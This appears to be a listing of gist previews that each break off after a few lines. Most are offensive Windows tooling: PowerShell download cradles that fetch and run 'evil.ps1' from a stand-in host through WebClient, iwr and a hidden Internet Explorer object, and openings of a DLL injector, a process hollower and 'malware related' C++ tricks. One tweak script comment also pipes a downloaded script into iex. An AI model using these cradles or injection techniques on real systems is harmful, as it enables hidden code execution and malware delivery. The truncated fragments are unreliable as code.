HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

pigeonhands

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Diagnostics.Contracts;
using System.IO;
using System.Runtime.InteropServices;

/// <summary>
/// Dll Injector
/// Made by BahNahNah

yalayabeeb

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class Memory
{
    #region WinAPI

    [DllImport("kernel32.dll")]
    private static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

yalayabeeb

using System;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;

public static class Resource
{
    #region WinAPI

    [DllImport("kernel32.dll", SetLastError = true)]

minhphuc429

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

gubed

class SecureRandom : RandomNumberGenerator
{
    private readonly RandomNumberGenerator rng;

    public SecureRandom()
    {
        this.rng = new RNGCryptoServiceProvider();
    }
    public int Next()
    {

gubed

Public Class SecureRandom : Inherits Security.Cryptography.RandomNumberGenerator

    Private ReadOnly rng As New Security.Cryptography.RNGCryptoServiceProvider()
    
    Private Function GetRandomBytes() As Byte()
        Dim data As Byte() = New Byte(4 - 1) {}
        rng.GetBytes(data)
        Return data
    End Function
    

alirobe

### 
###
### UPDATE: For Win 11, I recommend using this tool in place of this script: 
### https://christitus.com/windows-tool/
### https://github.com/ChrisTitusTech/winutil
### https://www.youtube.com/watch?v=6UQZ5oQg8XA
### iwr -useb https://christitus.com/win | iex
###
### OR take a look at 
### https://github.com/HotCakeX/Harden-Windows-Security

hugsy

/**
 *
 * ProcessHollower:  Hide a executable inside the runtime of another one
 * 
 * Compile with
 * C:> cl.exe ProcessHollower.c
 *
 * Execute with:
 * C:> ProcessHollower.exe notepad.exe myevilbinary.exe
 *

mattypiper

// http://www.rohitab.com/discuss/topic/39611-malware-related-compile-time-hacks-with-c11/

#include <stdio.h>
#include <stdint.h>

//-------------------------------------------------------------//
// "Malware related compile-time hacks with C++11" by LeFF	 //
// You can use this code however you like, I just don't really //
// give a shit, but if you feel some respect for me, please	//
// don't cut off this comment when copy-pasting... ;-)		 //